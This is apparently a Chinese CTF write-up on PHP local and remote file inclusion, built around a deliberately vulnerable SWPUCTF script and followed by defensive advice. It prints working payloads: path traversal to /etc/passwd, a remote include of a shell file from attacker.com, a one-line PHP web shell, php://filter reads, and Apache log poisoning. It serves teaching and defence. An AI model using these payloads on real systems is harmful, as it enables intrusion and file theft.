从Payload到原理:PHP文件包含漏洞的深度攻防实践

在CTF竞赛和Web安全研究中,PHP文件包含漏洞(LFI/RFI)一直是高频考点。许多初学者往往止步于记忆几个经典Payload,却对漏洞背后的运行机制和防御策略缺乏系统认知。本文将以NSSCTF平台SWPUCTF赛题为切入点,带您穿透表象,掌握文件包含漏洞的底层逻辑。

1. 漏洞环境与代码审计

拿到题目首先映入眼帘的是一个简单的PHP脚本:

<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8"); 
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
include_once($file);

这段代码看似简单,却暗藏玄机。我们注意到几个关键配置:

  • ini_set("allow_url_include","on") 开启了远程文件包含
  • error_reporting(0) 关闭了错误显示
  • 未对 $_GET['file'] 做任何过滤

注意: include_once include 的区别在于前者会检查文件是否已被包含过,避免重复包含,但这不影响漏洞利用。

2. 文件包含的三种攻击路径

2.1 本地文件包含(LFI)

allow_url_include=Off 时,攻击者仍可利用相对/绝对路径读取系统文件:

?file=../../etc/passwd
?file=./config.php

常见敏感文件路径

  • /etc/passwd
  • /proc/self/environ
  • Apache日志文件
  • Session文件

2.2 远程文件包含(RFI)

本题中 allow_url_include=On 使得RFI成为可能:

?file=http://attacker.com/shell.txt

攻击者可以在远程服务器放置恶意代码:

<?php system($_GET['cmd']);?>

2.3 伪协议利用

PHP内置的包装器协议提供了更灵活的利用方式:

?file=php://filter/read=convert.base64-encode/resource=flag.php

常用伪协议对比

协议 功能 是否需要allow_url_include
php://filter 读取文件内容
data:// 直接执行代码
expect:// 执行系统命令

3. 伪协议的深层解析

php://filter的工作原理值得深入探讨。当使用 convert.base64-encode 时,文件内容会被编码,避免被直接执行:

php://filter/read=convert.base64-encode/resource=flag.php

过滤器链 可以组合使用:

php://filter/read=string.rot13|convert.base64-encode/resource=flag.php

提示:某些场景下可能需要尝试不同的编码方式绕过WAF检测。

4. 防御策略与安全开发

理解了攻击原理,我们来看如何防御:

  1. 输入验证

    $allowed = ['page1.php', 'page2.php'];
    if(!in_array($file, $allowed)) {
        die('Invalid file!');
    }
    
  2. 配置加固

    • php.ini中设置 allow_url_include=Off
    • 设置 open_basedir 限制访问目录
  3. 安全函数替代

    // 使用白名单方式包含文件
    function safe_include($file) {
        $base_dir = '/var/www/includes/';
        $path = realpath($base_dir . $file);
        if(strpos($path, $base_dir) === 0) {
            include $path;
        }
    }
    

5. CTF实战中的进阶技巧

在真实比赛中,文件包含往往与其他漏洞结合:

  • 日志注入 :通过User-Agent注入PHP代码,然后包含日志文件
  • Session文件包含 :利用PHPSESSID包含session文件
  • 临时文件包含 :结合文件上传漏洞

例如利用Apache日志注入:

GET /<?php system($_GET['cmd']);?> HTTP/1.1
...
?file=../../var/log/apache2/access.log

6. 从漏洞利用到代码审计

真正的安全研究需要逆向思维。当我们看到 include_once($file) 时,应该立即想到:

  1. 变量是否用户可控?
  2. 是否有足够的过滤?
  3. 服务器配置如何?
  4. 能否结合其他漏洞?

在最近的一次渗透测试中,我发现一个看似无害的文件包含点最终通过 phar:// 协议实现了反序列化攻击,这再次证明了深度理解的重要性。

更多推荐